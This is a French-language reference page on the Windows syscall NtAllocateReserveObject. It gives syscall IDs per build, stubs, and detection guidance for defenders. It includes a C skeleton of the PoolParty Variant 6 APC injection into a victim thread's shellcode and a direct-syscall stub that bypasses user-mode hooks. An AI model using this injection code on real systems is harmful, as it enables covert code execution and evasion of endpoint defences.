> Windows Syscalls
ntoskrnl.exeT1055.004T1055T1106

NtAllocateReserveObject

Pré-alloue un reserve object noyau (APC ou completion) afin que les opérations futures ne puissent échouer sous pression mémoire.

Prototype

NTSTATUS NtAllocateReserveObject(
  PHANDLE             Handle,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  MEMORY_RESERVE_TYPE Type
);

Arguments

NameTypeDirDescription
HandlePHANDLEoutReçoit un handle vers le reserve object nouvellement créé.
ObjectAttributesPOBJECT_ATTRIBUTESinOBJECT_ATTRIBUTES standard ; généralement une structure mise à zéro (anonyme, sans héritage).
TypeMEMORY_RESERVE_TYPEinMemoryReserveUserApc (0) ou MemoryReserveIoCompletion (1) — la classe d'objet noyau à pré-allouer.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x70win10-1507
Win10 16070x70win10-1607
Win10 17030x71win10-1703
Win10 17090x71win10-1709
Win10 18030x71win10-1803
Win10 18090x71win10-1809
Win10 19030x71win10-1903
Win10 19090x71win10-1909
Win10 20040x72win10-2004
Win10 20H20x72win10-20h2
Win10 21H10x72win10-21h1
Win10 21H20x72win10-21h2
Win10 22H20x72win10-22h2
Win11 21H20x72win11-21h2
Win11 22H20x72win11-22h2
Win11 23H20x72win11-23h2
Win11 24H20x74win11-24h2
Server 20160x70winserver-2016
Server 20190x71winserver-2019
Server 20220x72winserver-2022
Server 20250x74winserver-2025

Module noyau

ntoskrnl.exeNtAllocateReserveObject

APIs liées

NtQueueApcThreadExNtQueueApcThreadEx2QueueUserAPC2CreateIoCompletionExNtSetIoCompletionExNtDuplicateObject

Stub du syscall

4C 8B D1            mov r10, rcx
B8 74 00 00 00      mov eax, 0x74      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

Retourne un handle vers un `KAPC_RESERVE_OBJECT` (Type=0) ou `IO_COMPLETION_RESERVE` (Type=1). L'idée est qu'allouer un `KAPC` (ou un `IO_COMPLETION_PACKET`) au moment où un APC doit être mis en file peut échouer si le pool est épuisé — ce qui forcerait sinon l'appelant à choisir entre abandonner l'APC ou planter. Les reserve objects décalent cette allocation vers un moment où l'échec est récupérable ; l'appel `NtQueueApcThreadEx`/`NtSetIoCompletionEx` réel réutilise alors l'objet pré-alloué via les chemins `*Ex` dédiés qui acceptent un handle de réserve en premier paramètre. Documenté par Microsoft uniquement pour `IO_COMPLETION` (via la famille `CreateIoCompletionEx`) ; la variante APC reserve n'est pas documentée mais est largement utilisée en interne et très stable d'un build à l'autre — le SSN n'a bougé qu'une fois entre Win10 1909 et Win11 24H2.

Usage courant par les malwares

La recherche PoolParty (SafeBreach Labs, Black Hat EU 2023) a industrialisé l'usage offensif. **PoolParty Variant 6 — « APC via Reserve Object »** enchaîne : `NtAllocateReserveObject(MemoryReserveUserApc)` → duplique le handle dans le processus cible avec `NtDuplicateObject` → `NtQueueApcThreadEx2` contre un thread worker dans la cible, en passant le handle de réserve dupliqué comme premier argument pour que le noyau réutilise le KAPC pré-alloué plutôt qu'en allouer un neuf. L'avantage par rapport à l'injection classique `QueueUserAPC` est qu'il n'y a aucune fenêtre d'échec où l'allocation APC pourrait être refusée par les callbacks ETW Threat-Intelligence ou par les drivers de protection de pool — l'objet existe déjà et est lié au bon thread. Plusieurs frameworks red team ont depuis absorbé la technique.

Opportunités de détection

`NtAllocateReserveObject` est extrêmement rare dans les traces d'appel user-mode normales — l'OS lui-même l'utilise avec parcimonie dans `kernel32!CreateThreadpoolIoEx` et quelques chemins RPC. ETW Microsoft-Windows-Kernel-Process ne le fait pas remonter, mais la primitive *suivante* le fait : un handle dupliqué de classe `ReserveObject` apparaissant cross-process via `NtDuplicateObject` (Sysmon Event 10 avec `GrantedAccess` et la colonne handle-type), ou un appel `QueueUserAPC2`/`NtQueueApcThreadEx2` où le premier paramètre est un handle de réserve étranger, est la signature à haute fidélité. Les EDR qui ne hookent que l'ancien `NtQueueApcThread` manqueront entièrement ce chemin.

Exemples de syscalls directs

cPoolParty Variant 6 skeleton

// Step 1: pre-allocate the KAPC reserve in our own process.
HANDLE hReserve = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
NTSTATUS st = NtAllocateReserveObject(&hReserve, &oa,
                                      0 /* MemoryReserveUserApc */);
if (!NT_SUCCESS(st)) return st;

// Step 2: open the victim worker thread and duplicate the reserve handle in.
HANDLE hTargetProc   = /* OpenProcess on the chosen target  */;
HANDLE hTargetThread = /* an existing thread inside target */;
HANDLE hRemoteReserve = NULL;
st = NtDuplicateObject(NtCurrentProcess(), hReserve,
                       hTargetProc,       &hRemoteReserve,
                       0, 0, DUPLICATE_SAME_ACCESS);
if (!NT_SUCCESS(st)) return st;

// Step 3: queue our APC using the pre-allocated KAPC. NtQueueApcThreadEx2 lets us
// pin the APC to the special user-APC slot, which fires even on alertable-less threads.
st = NtQueueApcThreadEx2(hTargetThread,
                         hRemoteReserve,           // reuse our reserve
                         QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                         (PPS_APC_ROUTINE)pShellcodeInTarget,
                         NULL, NULL, NULL);

asmx64 direct stub

; NtAllocateReserveObject direct syscall (Win11 24H2 SSN 0x74)
NtAllocateReserveObject PROC
    mov  r10, rcx
    mov  eax, 74h
    syscall
    ret
NtAllocateReserveObject ENDP

rustReserve an IO_COMPLETION packet

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::LibraryLoader::*;

type AllocReserveFn = unsafe extern "system" fn(
    *mut HANDLE, *const u8 /*POBJECT_ATTRIBUTES*/, u32 /*MEMORY_RESERVE_TYPE*/,
) -> i32;

unsafe fn reserve_iocp_packet() -> HANDLE {
    let nt = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let f: AllocReserveFn = std::mem::transmute(
        GetProcAddress(nt, b"NtAllocateReserveObject\0".as_ptr()).unwrap()
    );
    let oa: [u8; 48] = [0; 48]; // OBJECT_ATTRIBUTES { Length=48, all-zero }
    let mut h: HANDLE = std::ptr::null_mut();
    let _ = f(&mut h, oa.as_ptr(), 1 /* MemoryReserveIoCompletion */);
    h
}

Mappings MITRE ATT&CK

Last verified: 2026-05-20